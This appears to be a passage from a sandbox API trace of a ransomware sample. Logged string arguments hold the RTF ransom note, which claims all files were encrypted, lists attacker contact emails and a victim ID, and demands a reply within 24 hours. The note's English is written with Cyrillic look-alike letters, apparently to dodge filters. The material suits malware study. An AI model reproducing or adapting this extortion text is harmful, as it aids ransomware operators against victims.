pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 